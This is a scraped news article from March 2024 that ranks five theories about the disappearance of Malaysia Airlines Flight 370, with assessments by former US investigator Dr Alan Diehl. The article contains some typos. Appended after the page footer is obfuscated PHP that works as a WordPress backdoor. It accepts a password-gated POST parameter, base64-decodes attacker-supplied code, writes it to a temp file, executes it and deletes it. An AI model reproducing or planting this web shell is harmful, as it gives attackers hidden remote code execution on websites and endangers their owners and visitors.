Published On: Fri, Mar 8th, 2024

MH370 crash theories ranked on how likely they are 10 years after plane went missing | World | News


Its disappearance on March 8, 2014, remains one of aviation's most probed incidents

Its disappearance on March 8, 2014, remains one of aviation’s most probed incidents (Image: GETTY)

Though exactly 10 years have now passed since the Malaysia Airlines Flight 370 destined for China’s Beijing Capital International Airport mysteriously vanished, the time has appeared to offer no answers as to what exactly happened to it, and the 227 passengers and 12 crew on board.

Its disappearance on March 8, 2014, remains one of aviation’s most investigated incidents with the flight from Kuala Lumpur International Airport last making contact with air traffic control around 38 minutes after takeoff as it travelled across the South China Sea.

The authorities have poured over theories of what exactly happened to the aircraft, experts and baffled armchair detectives, who have come up with various conclusions ranging from the sensible to the downright barmy.

Here, Dr Alan Diehl, a former US government investigator and aviation safety expert, places five MH370 theories under the microscope to reveal whether there is any substance to what has been claimed happened to the aircraft.

Theory one: Pilot suicide/mass murder

Among the most popular theories is that pilot Captain Zaharie Ahmad Shah had either decided to kill himself, causing the plane to crash, or committed mass murder. In the aftermath of the flight being down, it emerged that Captain Shah’s wife and three children had moved out of his house on March 7, 2014.

On top of this, a friend claimed, Captain Shah had also been seeing another woman and his relationship with her was also in trouble, claims later denied by the pilot’s family.

Dr Diehl, who penned said this “often repeated theory cannot be totally dismissed”. However, key factors surrounding the pilot’s mental health and personality juxtaposed the theory. The aviation expert described how Captain Shah “left no suicide note, had no known history of suicidal ideation, no history of drug or alcohol abuse, no major medical or mental problems, and no known financial or workplace issues”.

Despite the claims around the breakdown of his marriage and with his lover, “the bottom line was that he seemed to have been a financially well-off, jovial individual who got involved with community support programs and a political movement”.

Another possible issue that may have led Captain Shah down the path of downing the flight was him becoming “unhappy about political developments in his country (Malaysia), specifically the jailing of a relative on the day before the disappearance”.

Dr Diehl said: “I suspect he may have been thinking about commandeering his jet and making a political statement before seeking asylum from the Americans at Diego Garcia. He likely felt he could do this safely without endangering the aircraft, his passengers, or fellow crewmembers.”

He added: “And at least one individual has suggested that because he was a smoker, he may have caught the cockpit on fire. But unless he was smoking while he was using oxygen, (all pilots know better), it would be very difficult to ignite such a fire, and the materials in the cockpit are self-extinguishing by design.”

Theories of what exactly happened to the aircraft have been poured over by the authorities

Theories of what exactly happened to the aircraft have been poured over by the authorities (Image: GETTY)

Theory two: MH370 was shot down

According to political commentator Rush Limbaugh – CNN reported – another theory was that the flight could have actually been shot down.

Potential perpetrators included Russia and intriguingly the US, which had previously carried out its own shooting in past, including on Iran Air Flight 655 in 1988.

Associated Press described “accidental shootdown” as one of its seven “leading, plausible theories” though added at the time there was “no evidence that Flight 370 was brought down by a government entity”.

Though unaware of Mr Limbaugh’s claims, Dr Diehl did not that “similar theories have been espoused by several individuals, especially in the early days of the disappearance”.

“If missiles, gunfire, or lasers had hit the aircraft, the crew would’ve almost certainly communicated, and the aircraft could not have remained airborne for several hours,” he continued.

He added: “A journalist even claimed that the US Air Force shot the aircraft down the jet because it was carrying a package in its cargo compartment that had classified equipment that America didn’t want to fall into Chinese hands.

“Obviously, if the Americans knew about such a cargo, they would’ve prevented the jetliner from departing in the first place. Furthermore, shooting down an aircraft with over 150 Chinese citizens aboard is not something the US would want to risk.”

Theory two: MH370 was shot down

Theory three: Fire

The possibility that a fire was sparked within the airline has also been questioned, including that Captain Shah – or one of the other passengers or crew on the flight – could have had a cigarette or created a fire within the cockpit, cargo compartment or landing gear.

And for Dr Diehl this is perhaps the most viable theory to have been put forward so far.

He argued that it was possible a “fire may have occurred in the E/E Bay (Electronics and Equipment Bay) beneath the cockpit”, comparing it to a similar incident that happened in 2011 to an EgyptAir 777 sitting at the gate in Cairo.

Dr Diehl said that in the early stages of the MH370 investigation “many pundits thought that the cargo of lithium-ion batteries could’ve caught fire”. But had this to happen the flight “would not have been able to take off for several hours, and the crew would have declared an emergency, has occurred on a UPS 747 in 2010”.

He concluded: “The same answer for fire caused by other cargo or in the wheel well. Incidentally, in 1987, a South African Airways 747 crashed in the Indian Ocean after a cargo fire was reported. Another 777 E/E Bay fire occurred at Heathrow Airport in 2007, but only limited damage was done to the United Airlines craft.”

How the MH370 crash was covered

How the MH370 crash was covered (Image: GETTY)

Theory four: Hijacked by North Korea

Outlandish theories emerging online after a catastrophe is not uncommon and this wild theory emerged in the comments of a Reddit thread.

This theory claimed the flight had enough fuel to be hijacked and flown to North Korea, as was previously seen back in 1969 with a Korean Air Lines YS-11 craft.

On that occasion the craft, which was carrying four crew and 46 passengers was hijacked by North Korean agent Cho Ch’ang-hŭi. The craft was sent to Pyongyang and months later 39 of the hostages were returned, with seven remaining in the hermit nation.

For Dr Diehl, this was another “far-fetched theory” as it was highly unlikely North Korea would “hijack an aircraft with 150 Chinese passengers aboard, given the relationship between those two countries”.

He did, note, though, that it was similar to a theory he thought about early on that “maybe a stowaway hijacker was hiding in a cargo container who came out after takeoff and to seize the aircraft”.

Dr Diehl added: “This would only make sense if one or more of the passengers was an enemy of Kim Jong-un. And I never heard of anyone that fit that bill.”

Theory five: Terror attack

Terrorists attacking the MH370 is also another scenario some speculate could have led to the disappearance of the aircraft.

The possibility of it being a jihadist attack was flouted by media mogul Rupert Murdoch, who tweeted that it was proof they were “turning to make trouble for China”.

He later claimed that the light might have been hidden in northern Pakistan “like Osama Bin Laden”, who had three years previously been shot and killed at his compound in the city of Abbottabad.

Dr Diehl said: “This theory was surfaced early on when the two Iranians with stolen passports were discovered to be passengers. But further investigation showed that they were just trying to get out of Iran.”

The aviation expert added that while “no group ever claimed responsibility for such a hijacking… it can’t be discarded totally”.

More on Dr Diehl’s work, including his new book Best Laid Plans, can be found here.



Source link

Verified by MonsterInsights
if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}